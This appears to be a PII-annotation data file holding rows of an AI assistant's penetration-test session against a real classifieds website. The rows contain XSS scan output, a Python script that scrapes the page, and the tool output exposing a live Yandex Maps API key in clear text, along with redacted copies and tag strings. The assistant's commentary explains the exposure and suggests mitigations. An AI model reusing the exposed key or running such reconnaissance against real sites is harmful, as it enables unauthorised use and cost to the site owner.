[!] Found XSS source: location\.href (2 occurrences)
|
||
[!] Found XSS source: location\.search (2 occurrences)
|
||
[!] Found XSS source: document\.referrer (2 occurrences)
|
||
[!] Found XSS sink: \.innerHTML\s*= (1 occurrences)
|
||
[!] Found XSS sink: setInterval\s*\( (1 occurrences)
|
||
|
||
4. Checking for JSONP endpoints:
|
||
|
||
5. Checking for postMessage vulnerabilities:
|
||
|
||
6. Checking third-party script inclusion:
|
||
[!] External script: [URL]
|
||
[!] External script: [URL]
|
||
[!] External script: [URL]
|
||
[!] External script: [URL]
|
||
|
||
7. Checking for CSP bypass opportunities:";41:46:URL|760:765:URL|789:794:URL|818:823:URL|847:852:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;pentestperf;{'role': 'tool'};814:819:IP_ADDRESS;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_Kolesagroup_14;"{""language"": ""python"", ""filename"": ""extract_api_key"", ""code"": ""import requests\nimport re\nimport json\n\ndef extract_api_key():\n try:\n response = requests.get('https://194.135.25.114/', verify=False, timeout=10)\n \n # Find the window.data object\n data_pattern = re.compile(r'window\\.data\\s*=\\s*(\\{.*?\\});', re.DOTALL)\n match = data_pattern.search(response.text)\n \n if match:\n json_str = match.group(1)\n try:\n # Try to parse the JSON directly\n data = json.loads(json_str)\n \n # Specifically look for the Yandex Maps API key\n if 'config' in data and 'yandexMaps' in data['config'] and 'apiKey' in data['config']['yandexMaps']:\n api_key = data['config']['yandexMaps']['apiKey']\n print(\""Found Yandex Maps API key:\"")\n print(f\""apiKey: {api_key}\"")\n \n # Show the context where it was found\n print(\""\\nContext in JSON structure:\"")\n print(json.dumps(data['config']['yandexMaps'], indent=2))\n \n # Extract the exact line from the HTML source\n key_pattern = re.compile(r'(\""apiKey\""\\s*:\\s*\""[^\""]*\"")', re.DOTALL)\n key_match = key_pattern.search(response.text)\n if key_match:\n print(\""\\nExact line from HTML source:\"")\n print(key_match.group(1))\n \n # Get some surrounding context\n start_pos = max(0, key_match.start() - 100)\n end_pos = min(len(response.text), key_match.end() + 100)\n context = response.text[start_pos:end_pos]\n print(\""\\nSurrounding context in HTML:\"")\n print(f\""...{context}...\"")\n else:\n print(\""Yandex Maps API key not found in the data object\"")\n except json.JSONDecodeError:\n print(\""Could not parse data as JSON\"")\n else:\n print(\""Could not find window.data object\"")\n \n except Exception as e:\n print(f\""Error: {e}\"")\n\nif __name__ == \""__main__\"":\n # Disable SSL warnings\n import urllib3\n urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n \n extract_api_key()""}";"{""language"": ""python"", ""filename"": ""extract_api_key"", ""code"": ""import requests\nimport re\nimport json\n\ndef extract_api_key():\n try:\n response = requests.get(‘https://[IP_ADDRESS]/’, verify=False, timeout=10)\n \n # Find the window.data object\n data_pattern = re.compile(r'window\\.data\\s*=\\s*(\\{.*?\\});', re.DOTALL)\n match = data_pattern.search(response.text)\n \n if match:\n json_str = match.group(1)\n try:\n # Try to parse the JSON directly\n data = json.loads(json_str)\n \n # Specifically look for the Yandex Maps API key\n if 'config' in data and 'yandexMaps' in data['config'] and 'apiKey' in data['config']['yandexMaps']:\n api_key = data['config']['yandexMaps']['apiKey']\n print(\""Found Yandex Maps API key:\"")\n print(f\""apiKey: {api_key}\"")\n \n # Show the context where it was found\n print(\""\\nContext in JSON structure:\"")\n print(json.dumps(data['config']['yandexMaps'], indent=2))\n \n # Extract the exact line from the HTML source\n key_pattern = re.compile(r'(\""apiKey\""\\s*:\\s*\""[^\""]*\"")', re.DOTALL)\n key_match = key_pattern.search(response.text)\n if key_match:\n print(\""\\nExact line from HTML source:\"")\n print(key_match.group(1))\n \n # Get some surrounding context\n start_pos = max(0, key_match.start() - 100)\n end_pos = min(len(response.text), key_match.end() + 100)\n context = response.text[start_pos:end_pos]\n print(\""\\nSurrounding context in HTML:\"")\n print(f\""...{context}...\"")\n else:\n print(\""Yandex Maps API key not found in the data object\"")\n except json.JSONDecodeError:\n print(\""Could not parse data as JSON\"")\n else:\n print(\""Could not find window.data object\"")\n \n except Exception as e:\n print(f\""Error: {e}\"")\n\nif __name__ == \""__main__\"":\n # Disable SSL warnings\n import urllib3\n urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n \n extract_api_key()""}";173:178:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;pentestperf;{'role': ‘assistant’} The url has an ip: https://194.135.25.114/;;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_Kolesagroup_15;"Found Yandex Maps API key:
|
||
apiKey: 8005a76b-66c7-44b3-8f94-355bbff74d27
|
||
|
||
Context in JSON structure:
|
||
{
|
||
""apiKey"": ""8005a76b-66c7-44b3-8f94-355bbff74d27""
|
||
}
|
||
|
||
Exact line from HTML source:
|
||
""apiKey"":""8005a76b-66c7-44b3-8f94-355bbff74d27""
|
||
|
||
Surrounding context in HTML:
|
||
...staticLink"":""//krisha.kz/static/frontend"",""nps"":{""url"":""https://krisha.kz/ms/nps/v2""},""yandexMaps"":{""apiKey"":""8005a76b-66c7-44b3-8f94-355bbff74d27""},""eventStream"":{""hostsEndpoint"":""https://app.krisha.kz/events.json"",""topic"":""krisha-frontend-user-e...";"Found Yandex Maps API key:
|
||
apiKey: [CRYPTO]
|
||
|
||
Context in JSON structure:
|
||
{
|
||
""apiKey"": ""[CRYPTO]""
|
||
}
|
||
|
||
Exact line from HTML source:
|
||
""apiKey"":""[CRYPTO]""
|
||
|
||
Surrounding context in HTML:
|
||
…staticLink”:”[URL]"",""nps"":{""url"":""[URL]""},""yandexMaps"":{""apiKey"":""[CRYPTO]""},""eventStream"":{""hostsEndpoint"":""[URL]"",""topic"":""[ORGANIZATION]-frontend-user-e...";35:43:CRYPTO|87:95:CRYPTO|139:147:CRYPTO|193:198:URL|214:219:URL|246:254:CRYPTO|289:294:URL|305:319:ORGANIZATION;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOB-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOB-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONOOOOOOOOOOOOOOOOOOO;pentestperf;{'role': 'tool'};35:40:CRYPTO|115:120:CRYPTO|195:200:CRYPTO;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_Kolesagroup_16;"As you can see, the Yandex Maps API key is directly embedded in the client-side JavaScript of the website. Specifically:
|
||
|
||
1. It's located in the `window.data` JavaScript object that's initialized in the HTML source
|
||
2. The exact path to the API key in the JSON structure is: `config.yandexMaps.apiKey`
|
||
3. The key value is: `8005a76b-66c7-44b3-8f94-355bbff74d27`
|
||
|
||
This is a security concern because:
|
||
|
||
1. The API key is visible to anyone who views the page source or inspects the network traffic
|
||
2. There are no apparent restrictions on where this key can be used from (no domain restrictions)
|
||
3. An attacker could potentially use this key to make unauthorized API calls to Yandex Maps services, which might:
|
||
- Incur costs to the organization
|
||
- Exceed API usage limits, causing service disruption
|
||
- Potentially access privileged functionality depending on the key's permissions
|
||
|
||
This is a common security issue where API keys meant for client-side usage are embedded directly in the source code without proper restrictions. A more secure approach would be to:
|
||
|
||
1. Set up domain restrictions on the API key so it can only be used from authorized domains
|
||
2. Use a server-side proxy for sensitive API calls
|
||
3. Implement token-based authentication for more sensitive operations
|
||
|
||
Would you like me to look more deeply at how this API key is being used in the application or explore any other security issues?";"As you can see, the Yandex Maps API key is directly embedded in the client-side JavaScript of the website. Specifically:
|
||
|
||
1. It's located in the `window.data` JavaScript object that's initialized in the HTML source
|
||
2. The exact path to the API key in the JSON structure is: `config.yandexMaps.apiKey`
|
||
3. The key value is: [CRYPTO]
|
||
|
||
This is a security concern because:
|
||
|
||
1. The API key is visible to anyone who views the page source or inspects the network traffic
|
||
2. There are no apparent restrictions on where this key can be used from (no domain restrictions)
|
||
3. An attacker could potentially use this key to make unauthorized API calls to Yandex Maps services, which might:
|
||
- Incur costs to the organization
|
||
- Exceed API usage limits, causing service disruption
|
||
- Potentially access privileged functionality depending on the key's permissions
|
||
|
||
This is a common security issue where API keys meant for client-side usage are embedded directly in the source code without proper restrictions. A more secure approach would be to:
|
||
|
||
1. Set up domain restrictions on the API key so it can only be used from authorized domains
|
||
2. Use a server-side proxy for sensitive API calls
|
||
3. Implement token-based authentication for more sensitive operations
|
||
|
||
Would you like me to look more deeply at how this API key is being used in the application or explore any other security issues?";322:330:CRYPTO;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;pentestperf;{'role': 'assistant'};322:327:CRYPTO;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO